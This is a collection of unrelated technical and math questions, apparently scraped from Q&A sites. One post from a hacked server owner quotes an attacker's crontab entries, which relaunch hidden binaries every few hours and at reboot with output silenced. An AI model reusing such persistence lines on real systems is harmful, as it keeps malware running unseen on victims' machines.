Can declaring a function prototype without parameters create security breaches?

I have heard that calling int main(){...} was bad practice and one should rather call the function with its parameters int main(int argc, char* argv[]){...}, I was wondering if this could be generalized to function declarations in headers.  In some situations, one may have to write a function prototype in a header without any parameters on inputs (for some reasons of include troubles let say), and declare the input parameters and their types in the function definition in a distant .c file. Is this likely to cause security issues as one could make use of this absence of informations? Or is the function definition (with input parameters declared) preventing this? I couldn't find any link about this.


Get all print jobs from locale printer and cancel print job JAVA

I would like to create a list in my web application (JSF) which includes all print jobs. A status would be also very helpful (Status 1: currently print 2: waiting)  Another option should be: cancel a selected print job.  How can I do this in Java ?


Generate two variables with precise pre-specified correlation

I want to generate two variables with (pseudo-) random numbers with an exact pearson's r. How do I do that? Python and/or R solutions would be nice!  I am able to generate random data that approximates a pre-specified r in python in the following way. I'm not searching for approximations but for data that with an exact pre-specified r, i.e. with r=0.83000 in the example below:  samples = 200 r = 0.83  # Generate pearson correlated data with approximately cor(X, Y) = r import numpy as np data = np.random.multivariate_normal([0, 0], [[1, r], [r, 1]], size=samples) X, Y = data[:,0], data[:,1]  # That's it! Now let's take a look at the actual correlation: import scipy.stats as stats print 'r=', stats.pearsonr(X, Y)[0]   The motivation for knowing r is that I'm testing out (bayesian) statistical models that can infer r from data and they are a lot easier to evaluate when r is well specified.  SOLUTION:  thanks to Greg Snow for pointing out the empirical=TRUE command in mvrnorm (multivariate random normal stuff)! Here's the explicit code:  samples = 200 r = 0.83  library('MASS') data = mvrnorm(n=samples, mu=c(0, 0), Sigma=matrix(c(1, r, r, 1), nrow=2), empirical=TRUE) X = data[, 1]  # standard normal (mu=0, sd=1) Y = data[, 2]  # standard normal (mu=0, sd=1)  cor(X, Y)  # yay! cor(X*0.01 + 42, Y*3 - 1)  # Linear transformations of X and Y won't change r.


Which version is best for my desktop 32 or 64 bit?

Brining back to life a 2006 Dell Dimension E521 Desktop. Although its a 64 bit PC, could I run 32bit Ubuntu? Specs:  2.5 gb DDR2 RAM Memory Speed 533 MHz Single Channel Mode  AMD Antholon 64 Processor 2.0 GHz clock speed 512 Kb L2 Cache  80 GB Storage  Integrated Video Card


Wifi interface keeps crashing for standard Ubuntu 16.04 installation on Lenovo i100

I have a standard ubuntu 16.04 installation on a Lenovo ideapad 100. On irregular intervals the laptop looses connection to the wifi router.  $ ip a show wlp3s0   shows only   wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state DOWN group default qlen 1000   but i cannot restart it with either of these commands, the interface remains down.  # ifconfig wlp3s0 up # ip link set wlp3s0 up # service network-manager restart   This happens in different wifi networks.   The wifi icon in the top right corner sometimes shows, that it is searching for a connection, but it is unable to connect.  Is this a problem of the driver, or is there also another chance to get it manually up again?  Update  $ lspci -knn | grep Net -A2 03:00.0 Network controller [0280]: Realtek Semiconductor Co., Ltd.     RTL8723BE PCIe Wireless Network Adapter [10ec:b723] Subsystem: Lenovo RTL8723BE PCIe Wireless Network Adapter [17aa:b728] Kernel driver in use: rtl8723be Kernel modules: rtl8723be


I have the following expression   $$\left\{\varphi\in\text{End}\left({\widetilde{E}/\overline{\F}_{\Pf}}\right)\mid \varphi\text{Frob}_{\Pf}=\text{Frob}_{\Pf}\varphi\right\}$$   and would like to know how to match the length of \mid to the length of \left\{ and \right\}. Thanks!


I'm running Ubuntu 15.04 with "Cinnamon" installed, and I wish to install  this exstension :   I tried to install it this way:  1) Copied the folder "CoverflowAltTab@dmo60.de" to "~/.local/share/cinnamon/extensions/".  2) Enabled the extension in the cinnamon settings. (Eventually you have to restart cinnamon: Press Alt+F2, type 'r' and enter)  The problem is that I can`t locate this path : ~/.local/share/cinnamon/extensions/


Haag's theorem and practical QFT computations

There exists this famous  which basically states that the interaction picture in QFT cannot exist. Yet, everyone uses it to calculate almost everything in QFT and it works beautifully.    Why? More specifically to particle physics: In which limit does the LSZ formula work? Can someone give me an example of a QFT calculation (of something measurable in current experiments, something really practical!) in which the interaction picture fails miserably due to Haag's theorem?


How to format a drive encrypted with Bitlocker?

I have a HD protected by Bitlocker. Login, password and restorekey are unknown and all I want to do is wipe the whole drive. When I try to boot from a windows installation cd I have no access to the drive since it asks for the restore key I don't have.  Is there a way to format the whole drive to make it usable again?


dnf equivalent of "yum update --security"

yum update --security installs only security updates. I think it's an extension from the yum-security plugin.  Is there an equivalent dnf command? (dnf replaced yum in Fedora 22)


Subtract one date from another and get int

How can I subtract on datefield from another and get result in integer?  Like 11.05.2015-10.05.2015 will return 1  I tried  entry.start_devation= each.start_on_fact - timedelta(days=data.calendar_start)


I only see tutorials for installing Ubuntu on a Chromebook with crouton, but I want fully working Ubuntu! Is it possible to Install Ubuntu on a Chromebook without crouton?


can't get GUI to start from command prompt

I've been running Ubuntu for some time. Last night I installed the updates that automatically download periodically and shut down. This morning the machine will only boot to the command prompt. I've tried all the "fixes" I can find on-line without success. The startx command brings up a message "API mismatch: the NVIDIA kernel module has version 304.88 but this NVIDIA driver component has version 173.14.35.".. How do I make sure both are the same? What else can I do to get this machine to boot the GUI again?


Partial linq text searching with Contains

I'm trying to do a text search on a partial property match on related entities.  My entities are:  public class TradeContact {     [Key]     public int TradeContactId { get; set; }      public virtual ICollection<Region> Regions { get; set; }  }  public class Region {     [Key]     public int RegionId { get; set; }     public virtual ICollection<TradeContact> TradeContacts { get; set; } }   My goal is that if a TradeContact has the following regions: Sydney, Brisbane, Darwin, then I should be able to search for 'Syd' to retrieve that TradeContact record.  Currently I'm searching like this:  TradeContacts = TradeContacts     .Where(s => s.Regions.Select(x => x.Name.ToUpper())     .Contains(searchString.ToUpper()));   This code finds full matches, so 'Sydney' will return my TradeContact, but it doesn't work on partial matches.  What have I done wrong?


I have one quick question, is there a way to disable the italic font in general in the math environment?  cheers


How to write text containing $var to a bash file?

I am having trouble with writing case $1 in a bash file. I tried with    cat <<EOT > /etc/init.d/startup.sh #!/bin/bash  PATH=/sbin:/bin:/usr/sbin:/usr/bin  case "$1" in     start)         bash /root/install.sh >> /root/installation_log.txt 2>&1         ;;     stop|restart|reload)         ;; esac EOT   But the problem is it writes everything to startup.sh but $1. Line     case "$1" in     become   case "" in    after the operation. What to do?


Returning rows in PostgreSQL with a table called "user"

I have a table called user  I have some SQL that is select User.* from User  This fails because User is a reserved word however, I was under the impression that Postgresql didn't care about the case of the tables when executing the SQL so I assume there is a conflict because of the reserved word.  In the database the user table is lowercase so if I run this  select * from user  I get a result, although bizarrely I only get one column returned even though I said show all columns.  If I run select * from "user" I get all columns and also SELECT "user".* FROM "user" returns all columns.  Can someone explain what's going on please?  Thanks  (Using PostgreSQL 9.3)


Would I be right in saying that $\aleph_0 \in \mathbb N$?   Or would it be a wrong thing to do?


Comment submission broken for comments that end with @username

Sometimes I want to post comments that include @-notifications but can't work the names into the comment text organically. In those cases, I write my comment out and then tack on a @JohnDoe at the end, which works just fine.  Well, it did work, until the otherwise-awesome new name autocompleter was introduced. Now I type out @JohnD and hit Tab, and the whole name appears, but I can't submit the comment by pressing Enter anymore. The Enter key just does nothing. And actually, it doesn't matter if I tab-complete the name or not.  I don't think it's just me because it happens on multiple computers, although they're both running Win7 Pro and recent Firefoxes. Also, I would understand — but disagree — if this was considered "not a bug, just reword all your comments that end this way."  EDIT: As the ever-intrepid pseudo-employee Tim Stone pointed out in the comments, what I initially reported is a special case of a more general problem: Enter submission of comments fails whenever the tab complete suggestions are being shown.


How to prove that $\lim_{n\rightarrow \infty}\frac {n^{2}}{2^{n}}=0$ & $\lim_{n\rightarrow \infty}\frac {n^{2}}{n!}=0$?

Prove that:  $$\lim_{n\rightarrow \infty}\dfrac {n^{2}}{2^{n}}=0$$  I think I need to show $2^n \geq n^3$ $\forall n \geq10$. Is it true?  What about: $$\lim_{n\rightarrow \infty}\dfrac {n^{2}}{n!}=0$$  What to do with $n!$?


Suggested edit by OP in the review queue?

I just saw  in the Suggested Edits review queue over in Physics, and I'm rather confused as to what's going on.    The suggested edit is attributed to the OP - same username, same identicon, s̶a̶m̶e̶ ̶u̶s̶e̶r̶ ̶i̶d̶ ̶(̶t̶h̶o̶u̶g̶h̶ ̶i̶t̶ ̶s̶e̶e̶m̶s̶ ̶t̶o̶ ̶h̶a̶v̶e̶ ̶k̶e̶p̶t̶ ̶t̶h̶e̶ ̶O̶P̶'̶s̶ ̶r̶e̶p̶ ̶a̶n̶d̶ ̶b̶a̶d̶g̶e̶s̶ ̶a̶t̶ ̶t̶h̶e̶ ̶t̶i̶m̶e̶ ̶o̶f̶ ̶a̶s̶k̶i̶n̶g̶ ̶o̶n̶ ̶t̶h̶e̶ ̶l̶e̶f̶t̶?̶)̶ (not actually, as it turns out - user ids 15582 and 15852 are very similar by a fluke, but not actually the same). Posters are meant to be able to edit their own posts without restriction and without their edits being sent to the review queue, right? Or does that break down in some circumstances? Alternatively, was this a bug on the handling system?  I am aware of a similar question here, , which blames the appearance of  on the review queue on the fact that, at the time, the OP and editor were different accounts (which have since been merged). However, in the example above, both users had the same user id at the time of the review. If they were different accounts that were merged halfway between the edit suggestion and the review, shouldn't the edit be taken out of the queue? (Or is that too much of an edge case to be worth the trouble?)  To make things worse, here's how the  looks:    And indeed b̶o̶t̶h̶ ̶a̶c̶c̶o̶u̶n̶t̶s̶ ̶l̶i̶n̶k̶ ̶t̶o̶ ̶t̶h̶e̶ ̶s̶a̶m̶e̶ ̶u̶s̶e̶r̶. For comparison, this is what a self-edited post looks like:    So what's going on?


Can you sleep less permanently, but stay at least as healthy?

Can you train yourself to sleep fewer number of hours forever, nightly, while remaining at least as  fit and healthful (without harming or impairing yourself in any way) ?  This question was inspired by  on Columbia Professor Jeffrey Sachs:     As far as I can tell, the only time Sachs slows down is when he sleeps, never more than four or five hours a night. His wife, Sonia Ehrlich, a pediatrician and the mother of his three children, has been quoted saying (more than once), "I'm a happily married single parent."


If a and b are relatively prime and ab is a square, then a and b are squares.

If $a$ and $b$ are two relatively prime positive integers such that $ab$ is a square, then $a$ and $b$ are squares.   I need to prove this statement, so I would like someone to critique my proof. Thanks  Since $ab$ is a square, the exponent of every prime in the prime factorization of $ab$ must be even.   Since $a$ and $b$ are coprime, they share no prime factors.   Therefore, the exponent of every prime in the factorization of $a$ (and $b$) are even, which means $a$ and $b$ are squares.


Most of the software is not thoroughly tested with Java 7 and I would like to install Oracle's JDK 6.0 on Ubuntu 11.10.  Could someone please provide me the instructions for the same?


I have cube mesh pole going to the bottom of a icosphere at the moment, but I also want a mesh spiral going down it too.  I don't want some single vertex line since that wont show up for rendering.  Black line shows what I want, but thicker


I was hacked this morning!  Does anyone have an idea of what the entry of the crontab below might mean?  1st They created a dir structure  .rsync/ ├── a │   ├── a │   ├── anacron │   ├── cron │   ├── init0 │   ├── run │   └── stop   2nd: The executed this cronjob from: crontab -l  0 */3 * * /home/ftpuser/.nullcache/a/upd>/dev/null 2>&1 @reboot /home/ftpuser/.nullcache/a/upd>/dev/null 2>&1 5 8 * * 0 /home/ftpuser/.nullcache/b/sync>/dev/null 2>&1 @reboot /home/ftpuser/.nullcache/b/sync>/dev/null 2>&1 0 0 */3 * * /tmp/.X17-unix/.rsync/c/aptitude>/dev/null 2>&1   Last: ran all my CPU's at 100% and sucked all the bandwith from the network.  I killed all associated PID'S to ftpuser and everything went back to normal


Why is the execution of the code skipping the 1st statement of "food is on the table'?

public class ControlFlow {   public static void main(String[] args) {     Scanner input = new Scanner(System.in);      System.out.println("Are you hungry?\n");     String answer = input.nextLine();     input.close();     if(answer == "yes") {         System.out.println("Food is on the table!");     }else {         System.out.println("Not hungry!\n");      }    }  }   I tried with boolean variable too. It did not help


Ubuntu Installation - "ubuntu-18.04.1-desktop-amd64.iso: cannot execute binary file" on Mac

I am trying to install Ubuntu 18.04.1 on mac and I was able to download Ubuntu Desktop file ubuntu-18.04.1-desktop-amd64.iso. The issue happens when I try to install this.  As per the installation instruction, I went to the terminal on Mac and sudo bash and dragged the file to the terminal but getting the following error:   /Users/xxxxx/Downloads/ubuntu-18.04.1-desktop-amd64.iso: cannot execute binary file   I followed the exact steps provided in YouTube videos and installation instructions. Am I missing something or is this permission related issue?  Thanks in advance for your help.


Usernames are displayed for questions on the main page, but no Action is displayed

On any given question the last person to add something to the question, be it ask, edit or answer it, is displayed(on the main page).      1m ago TsSkTo 96   This, however, doesn't show what I did. So if someone comes along and edits it it would show their name and how long ago. Which can be confusing if one assumes the name assosiated with the question is the asker.   But even if the person with the last action on the question is displayed, shouldn't it be something like this?     Asked by: TsSkTo 96 1m ago   and then     Edited by: [moderator] 500k 25s ago   The Idea here being to add a field explaining what was the last action applied to the question along with who did it.  The Duplicate question shows the same problem, that being:   The last user to modify or add to the question is displayed on the list, along with the time stamp. It does not, however say what he or she did to the question, that is unless you click the time stamp and inspect the post.  In the previous question it was suggested that the original poster always be the one displayed on the question. That is flawed, I understand that the latest user to add to the question should be displayed in order to show when the question was last active. If one goes on to read the comments, the fact that there is no "Modified by" in the main list is mentioned and proposed as a good idea by the moderator answering the question. The last comment suggests the exact same thing.  The is the idea of this post is to provide and implement the solution that the "duplicate" post was unable to. The problem is still there. It is ambiguous what the person displayed has done to the question. Why not provide that information on the list?


Finding details when German killed in action during World War 2

Thaddeous Zak(Zack) 10. Komp fliger Aushbiloting(?) Regiment 72 Feld post Number 47671 10 Komp Jager Regiment 22 (Luftwaffe) '' OPERATION WALDTEUFEL''. From the 6th to 23rd March 1945, the 11th Luftwaffe Division crossed the Drava River near Valpovo and advanced towards Bolman and Tarjanci. They were pushed back by a counter attack from the 3rd Ukranian Front. His family never heard from him again.


Compensation for missed connection due to delay with same airline but separate bookings

Long story short, I had to fly from A (in Spain) to C (in the UK) and I booked two separate flights with the same budget airline, so the actual route was A (Spain) -> B (UK) -> C (UK).  The first flight was delayed by 90 minutes, which means that I was unable to catch the second one (the layover time was around an hour and a half) and had to buy another ticket for the following day (with another airline).  I googled a lot and found mixed responses. Is there any chance I can get a refund for my second flight? I will obviously ask them but I'm unsure what my best course of action is.


Given a rectangular grid of dimensions $5 \times 9$, find if it contains any Hamiltonian cycle in it or not. Can the result be generalized for dimensions $m \times n.$  Example    I have tried making grids on paper and found that Hamiltonian circuits are easy to build if any(or both) of the dimensions are even, however I couldn't prove and generalize my observation.  Any help is much appreciated.


AES-XTS: find key from ciphertext and plaintext

Let's say I have a plaintext, the corresponding ciphertext encrypted using AES-XTS, and the initialization vectors. Is there any way - not brute force, of course - to compute the key?  Even if there's no known way, feel free to share articles on the subject


What are the recommended steps to take before selling an iPhone?

I "lost" my iPhone at work, could not find it anywhere. I reported it lost, and got another through the insurance. A month later, I found it hiding in a file in one my desk drawers. The phone is just less than a year old, in near new condition, and it seems a waste to discard it. What has to be done to be able to sell it to someone who needs a working phone?


I am working on android activity life-cycle. But i have a problem with connections.  @Override protected void onCreate(Bundle savedInstanceState) {     super.onCreate(savedInstanceState);     setContentView(R.layout.activity_main);      speedValue = (TextView) findViewById(R.id.speed_value);     rpmValue = (TextView) findViewById(R.id.rpm_value); }  @Override public void onResume(){     Intent intent = getIntent();     Bundle input = intent.getExtras();      displayOperations(input);     super.onResume(); }  public void displayOperations(Bundle input){      boolean flag = input.getBoolean("flag");     if(flag){         for (int i = 0; i < input.getStringArrayList("second").size(); i++) {             rpmValue.setText(input.getStringArrayList("rpm").get(i));             speedValue.setText(input.getStringArrayList("speed").get(i));         }     } }  //Menünün içeriği burada ayarlanır. @Override public boolean onOptionsItemSelected(MenuItem item) {     Intent intent;     switch (item.getItemId()) {         case R.id.action_settings:             intent = new Intent(this, Settings.class);             startActivity(intent);             return true;          case R.id.load_button:             intent = new Intent(this, Operations.class);             startActivity(intent);             onStop();             return true;         default:             return super.onOptionsItemSelected(item);     } }   In this code im tying to get information from other activity. have to go that class and do some operations then come to our main class to be success. Our bundle comes from other activity as you see. There problem occurs right here. My bundle comes null because i couldnt go to second activity.   When i try onResume, application crushes because of null pointer. How can i solve this issue  LOGCAT   Attempt to invoke virtual method 'boolean android.os.Bundle.getBoolean(java.lang.String)'      on a null object reference          at com.akaydin.berkin.carmonitor.MainActivity.displayOperations(MainActivity.java:42)         at com.akaydin.berkin.carmonitor.MainActivity.onResume(MainActivity.java:36)


How can I throttle/set the upload speed with an HttpClient?

my question is, how can i edit or throttle the upload speed when i upload a file to my ASP.Net core web API. We have many clients with very very slow internet, so when the program starts uploading files, the entire bandwidth is used and nothing can be done on the internet. I have 2 code examples here: 1:Client: class Program {     static void Main(string[] args)     {         FileStream stream = new FileStream(@"C:\TEMP\te...", FileMode.Open);                  Upload(stream).Wait();     }     public static async Task Upload(FileStream image)     {         using (var client = new HttpClient())         {                          var content = new MultipartFormDataContent();             content.Add(new StreamContent(image), "te...");             try             {                 HttpResponseMessage response =              await client.PostAsync("https://localhost:5001/api/uploadtest", content);                 var cont = await response.Content.ReadAsStringAsync();                 Console.WriteLine(cont);             }             catch(Exception ex)             {                 Console.WriteLine(ex.ToString());             }                                                     Console.ReadKey();         }              } }  2:ASP.Net Core Web-API [Route("api/[controller]")] [ApiController] public class UploadTestController : ControllerBase {     Stream stream;         // POST api/<UploadTestController>     [DisableRequestSizeLimit]     [HttpPost]     public async Task<IActionResult> Post()     {                  stream = Request.Body;         try         {                         using (var fstream = System.IO.File.OpenWrite(@"F:\TMP\te..."))             {                 await stream.CopyToAsync(fstream);             }             return Ok("test");         }         catch(Exception ex)         {             Console.WriteLine(ex.ToString());             return BadRequest();         }                       }       }


Why are you "On a train" yet "In a car" when you are inside both vehicles?   "On a bike" makes sense but "On a plane" seems wrong as you are actually inside the plane rather than on it.


What is the unit of the coordinate system in PSTricks?

If I use the following code, there two different kinds of units. One for the coordinate system used to declare \begin{pspicture} with (0,0) to (20,10), and the centimeter used in 4.2cm.  \begin{pspicture}(0,0)(20,10) \rput[lt](0.5,9){\psframebox[linewidth=1pt,framearc=0]{\parbox[c]{4.2cm}{\raggedright Text Goes Here...}}} \end{pspicture}   Can I use a unified dimension for both PSTricks objects and \parbox?


Show that $e^x\ge x^e$ for all $x\ge0.$ I was playing around with splitting a number into parts (that add to the original number) and then multiplying the parts to get the result, and I found that the product is highest when the parts tended towards $e$. This inequality is a consequence of that. Is there a proof or intuitive explanation for this?


Prove that the ring is Artinian and find a composition series of ideals

I came across the following problem Let $k$ be a field and $R=k[t^2,t^3]/(t^4)$. The ring $k[t^2,t^3]$ is defined as the set $\{f(t^2,t^3)|f \in k[x,y]\}$ with the obvious ring structure.  prove that the ring R is Artinian find ideals $A_0, \dots , A_n \unlhd R$ such that $$R=A_0 \supseteq \cdots \supseteq A_n$$ with each $A_i/A_{i+1}$ be a simple $R$ module.  for the first part, I know that in a short exact sequence of R-modules, the middle R-module is Artinian iff the two others are. I thing that $R \simeq k[x,y,z]/(x-z^2, y-z^3, z^4)$ but I don't now how is this helpful. for the second part I don't have a single clew how to proceed. Any hints, useful remarks or theorems that may help are appreciated.


Can you earn endless XP using a Flameskull and its self-revival feature?

have the following traits (Monster Manual, p. 135):  Eldritch Rejuvenation. A flameskull's shattered fragments reform unless they are splashed with holy water or subjected to a dispel magic or remove curse spell. If it can no longer fulfill its intended purpose, the re-formed flameskull is beholden to no one and becomes autonomous. Rejuvenation. If the flameskull is destroyed, it regains all its hit points in 1 hour unless holy water is sprinkled on its remains or dispel magic or remove curse spell is cast on them.  If you defeat a creature like a flameskull, and wait for an hour until it rises again, then you kill it again, wait another hour, and kill it yet again... would you earn the XP each time you kill it? (Basically making an XP factory.) Is there any rule which forbids that exploit?  Related question on . This question differs from it because the creature is returning by its own natural ability and not a mechanic provided by an adventurer, which might affect whether it counts as “defeated” for the purpose of earning XP.


Please suggest a text editor for writing my java programs.  It should be similar to Notepad++. Should have: syntax highlighting, tabs, be colorful, and other advanced features leading to ease in writing programs. Also, it should be in Ubuntu Software Center as I am not able to download text editors from chrome. I downloaded SciTE Text Editor but it is not that colorful as N++. Looking for something better.   Thank you.


How to show $\langle 7\rangle$ is a prime ideal of $\Bbb Z[x]$

I know that since $\Bbb Z$ is commutative and unital $\langle 7\rangle$ is just the polynomials whose coefficients are all in $7\Bbb Z$.  I know that since $\Bbb Z[x]$ is commutative that in order to show $\langle 7\rangle$ is a prime ideal show: $ab \in \langle 7\rangle$ implies $a \in \langle 7\rangle$ or $b \in \langle 7\rangle$ for all a,b in $\Bbb Z[x]$.  I have calculated what form ab is using Cauchy product. I now have stated each coefficient is in $7\Bbb Z$ but Im finding it hard to show how this requires either a or b lies in $\langle 7\rangle$


Bounded complex polynomials on the unit disc

P(z)=$a_0+a_1z+a_2z^2+…+a_{n-1}z^{n-1}+z^n$ is a complex polynomial such that |P(z)|$\le1$ on the closed unit disc $\mathbb D$. Prove that P(z)=$z^n$ on the entire complex plane $\mathbb C$. By applying the formula for the derivatives at 0, I am able to prove that |$a_k| \le 1$ for all k=1,2,...(n-1). But how do I prove that all these coefficients are zero. Please help.


Apache was installed on my debian,i want to bind two domain name with different directroy.  cat  /etc/hosts 127.0.0.1  hwy.local  www.hwy.local   127.0.0.1  test.app   www.test.app   Two domain name all binded with  127.0.0.1.  cat   /etc/apache2/sites-available/000-default.conf  <VirtualHost *:80>     ServerName www.hwy.local     ServerAdmin webmaster@localhost     DocumentRoot /var/www/html     ErrorLog ${APACHE_LOG_DIR}/error_hwy.log     CustomLog ${APACHE_LOG_DIR}/access_hwy.log combined         <Directory /var/www/html>             Options Indexes FollowSymLinks MultiViews             AllowOverride None             Order allow,deny             allow from all         </Directory> </VirtualHost> <VirtualHost *:80>  ServerName www.test.app ServerAdmin webmaster@localhost DocumentRoot  /home/debian9/app ErrorLog ${APACHE_LOG_DIR}/error_app.log CustomLog ${APACHE_LOG_DIR}/access_app.log combined     <Directory /home/debian9/app>         Options Indexes FollowSymLinks MultiViews         AllowOverride None         Order allow,deny         allow from all     </Directory> </VirtualHost>   Save the same file test.html  in both /var/www/html and /home/debian9/app.
it is a test
   Why www.hwy.local/test.html can open it ,www.test.app  run into error.  This site can’t be reached


How to prove that $\mathbb{Q}[\sqrt{p_1}, \sqrt{p_2}, \ldots,\sqrt{p_n} ] = \mathbb{Q}[\sqrt{p_1}+ \sqrt{p_2}+\cdots + \sqrt{p_n}]$, for $p_i$ prime?

This is Exercise 18.14 from Algebra, Isaacs.  $p_{1}\ ,\ p_{2}\ ,\ ... p_{n}$ are different prime numbers. How to show that $$\mathbb{Q}[\sqrt{p_{1}}, \sqrt{p_{2}}, \ldots, \sqrt{p_{n}} ] = \mathbb{Q}[\sqrt{p_{1}}+ \sqrt{p_{2}}+\cdots + \sqrt{p_{n}}] \quad ?$$  First we can note that the Galois group of the first extension over $\mathbb{Q}$ ( which I call $E$ ) is elementary abelian of order $2^{n}$, so we can prove that the orbit of $\sqrt{p_{1}}+\sqrt{p_{2}}+ ... + \sqrt{p_{n}}$ under $\operatorname{Gal}(E/\mathbb{Q})$ contains $2^{n}$ elements, but how to do so?


There was a similar post in year 12'. But I have to ask this question, because there are still some minor issues, that specific skins effect some pros.  recently it came to my mind, that the new Vlad skin (some kind of toxic?) makes him appearing longer in his lake than the normal Vlad.  Another benefit would be the I-Blitzcrank, which has an opticial favor for the ownerside, concerning the hook ability. When I-Blitz hides in the grass you dont see the 'hook'..  I dont want to catalogue all of the skins I think they are imbalanced, because these may only be a persuasion on my part.  So, is this my psychological problem or can there really be skinbenefits, for example by rendering in game mechanicals?


I need help with this question number 8, at least some hints or approaches to start with. Sorry for posting an image, I am only doing so , because I don't have a pc to type the question in latex and I don't know how to do so using mobile in any other way.


How to show the full remainder in polynomial long division?

Original  The remainder provided by polynom.sty is NOT complete (as shown in the following figure).      My Objective  When I was in senior high school, my teacher made the diagram like below. :-)  Thus the final step must show the TOTAL remainder and mark it with L-shaped curve.  NOTE  I am sorry. The previous post I forgot to put back -1/4 in the original position. It have made you confused. Now there is no mistake anymore. :-)      Minimal Code  \documentclass{article} \usepackage{polynom,array} \usepackage[table]{xcolor}   \makeatletter \def\pld@ArrangeResult#1{%     \ifx\pld@remainder\@empty         \@tempcnta\pld@maxcol\relax         \pld@InsertItems@do\pld@lastline             {\pld@firsttrue\pld@PLD{\pld@R{0}{1}}}%     \fi     \ifnum\pld@currstage>\z@         \pld@Extend\pld@allines{\pld@lastline\cr}%     \else         \pld@InsertFake\pld@lastline     \fi     \pld@iftopresult         \def\pld@lastline{\pld@PrintPoly\pld@divisor%         %====================================================================================         \quad\smash{{\color{red}\rule[-6pt]{\arrayrulewidth}{17pt}}}\kern-\arrayrulewidth&}%         %====================================================================================     \else         \let\pld@lastline\@empty         \ifx B\pld@style\else             \def\pld@lastline{\pld@leftdelim\strut\pld@rightxdelim&}%         \fi     \fi     \expandafter\pld@AR@col\expandafter\pld@PLD                            \expandafter\pld@lastline#1+\relax+%     \pld@SplitQuotient     \pld@iftopresult         \let\pld@currentline\@empty         \expandafter\pld@AR@col\expandafter\pld@PLD                                \expandafter\pld@currentline                                            \pld@quotient+\relax+%         \expandafter\pld@AR@col\expandafter\pld@XPLD                                \expandafter\pld@currentline                                            \pld@shadow+\relax+%         \edef\pld@subline{%             \noexpand\cline{\tw@-\pld@maxcol}%             \noalign{\vskip\jot}}%         \pld@Extend\pld@currentline{\expandafter\cr\pld@subline}%     \else         \@tempcnta-\@tempcnta         \advance\@tempcnta\pld@maxcol\relax \advance\@tempcnta\@ne         \edef\pld@span{\the\@tempcnta}%         \ifx B\pld@style           \pld@AddTo\pld@lastline{%             &\multispan\pld@span${}=%             \pld@PrintPolyWithDelims\pld@divisor             \expandafter\pld@IfSum\expandafter{\pld@divisor}{}{\cdot}%             \expandafter\pld@IfSum\expandafter{\pld@quotient}\pld@true                                                              \pld@false             \pld@if \pld@leftdelim                     \pld@PrintPolyShadow                     \pld@rightdelim               \else \pld@PrintPolyShadow \fi             \pld@firstfalse             \expandafter\pld@PrintRemain\expandafter{\pld@remainder}$}%         \else           \pld@AddTo\pld@lastline{%             &\multispan\pld@span$\pld@leftxdelim\strut\pld@rightdelim             \pld@div             \pld@PrintPolyWithDelims\pld@divisor=             \pld@PrintPolyShadow             \ifx\pld@remainder\@empty\else                 +{}%                 \setbox\z@=\hbox{$\displaystyle                   \frac{\let\strut\@empty\pld@firsttrue \expandafter                         \pld@PrintRemain\expandafter{\pld@remainder}}%                        {\let\strut\@empty\pld@PrintPoly\pld@divisor}$}%                 \dp\z@=\z@\box\z@             \fi             $}%         \fi     \fi \expandafter\pld@AR@\pld@allines\relax} \makeatother   \arrayrulecolor{red} \arrayrulewidth=0.8pt \def\strut{\rule[-6pt]{0pt}{12pt}}  \begin{document} \polylongdiv[style=A]{\frac{3}{7}x^9+x^2-\frac{1}{4}}{\frac{9}{5}x^4-1}  \vspace{1cm} \polylongdiv[style=A]{x^4-1}{x^2-1} \end{document}


Can I increase my credit limit by transferring money to my Credit Card account?

I have a credit card with a credit limit of $1000, but I would like to make a purchase of $1500. If I transfer $500 into my credit card account, would that increase my credit limit to $1500?


I hope you can help me. I get an NullPointerExeption when I want to Put the NodeList / Node to my Map:  Map <String, NodeList> config = null;   public void loadConfiguration() {     helper helper = new helper();     NodeList nodes = null;     nodes = helper.getXPathFromFile("/root/*", "conf/config.xml");      if (nodes.getLength() > 0) {         for (int i = 0; i < nodes.getLength(); i++) {             String NodeName = nodes.item(i).getNodeName();             NodeList NodeItem = (NodeList) nodes.item(i);             System.out.println(NodeName); // Here the right Name puts out             System.out.println(helper.nodelistToString(NodeItem)); // here right inside XML-Code put out             config.put(NodeName, NodeItem); // Here comes the NullPointerEx.         }     } }


Here are the characters in database ( last line ) :    When I var_dump, the squared characters disapears:   And I need to get that squared characters.


Why does 'git checkout -b $$' switch to branch '36415' instead of '$$'?

Why is Git converting $$ to 36415 when I run 'git checkout -b $$'? It works fine when I use just one dollar sign.


Hard drive failure with notification to install matrix console

My wife's computer has suddenly popped up with a notification saying her hard may fail soon. Shortly after a program called Intel matrix storage console asked permission to download. My question is; is this some sort of elaborate virus. Only reason i ask is the attempt of a program we did not download to install itself.


Why is this not a proof of Invariance of Domain?

We know that if $f:K \to X$ is continuous and injective, $K$ is compact, and $X$ is Hausdorff, then $f$ is a homeomorphism $K \cong f(K)$.   So suppose $f:U \to \mathbb{R}^n$ is continuous and injective, where $U$ is an open subset of $\mathbb{R}^n$. Choose an open ball $B$ such that $B \subset \bar{B} \subset U$. By the remark above $\bar{B} \cong f(\bar{B}) \Rightarrow B \cong f(B)$. Finally, since $B$ is open, so is $f(B)$.  My instructor said something about not knowing that $f(B)$ is open even though it is homeomorphic to an open set, but I'm not sure I understood at all.


How do I access PC's internet on Android Phone?

I'm using Android Jelly bean 4.2 (Micromax Canvas 2 Colours). I've a PC at home which has internet connection. I don't have any wireless router or any access point. I just want to use PC's internet connection on my android phone. Kindly help me.


Confused as to the procedure to install a java application

New to Ubuntu, using 18.04.  I'm trying to work out the best procedure for installing jwildfire flame fractal software. If you're interested go here   The install is just a bunch of files in a .zip file that just need to be unpacked into a directory. The app is launched by executing the j-wildfire-launcher.jar  Question 1 - Where should this be unpacked to, and why?  Question 2 - How to do this?  I've trawled through a bunch of forums and there seems to be no clear consensus as to where things should be installed. Many people say 'just let the installer choose the right place' but this has no installer, it's just a zip file with a java executable.  When I try to use the Archive manager to unpack it into /opt or some such it throws a permissions error.  Any help appreciated


I'm exploding on "." to get file format and name:  list($txt, $ext) = explode(".", $name);   The problem is that some files have names with dots.  How do I explote on the LAST "." so that I get $name=pic.n2 and $ext=jpg from: pic.n2.jpg?


How to set a Google Docs Spreadsheet cell format to bare text?

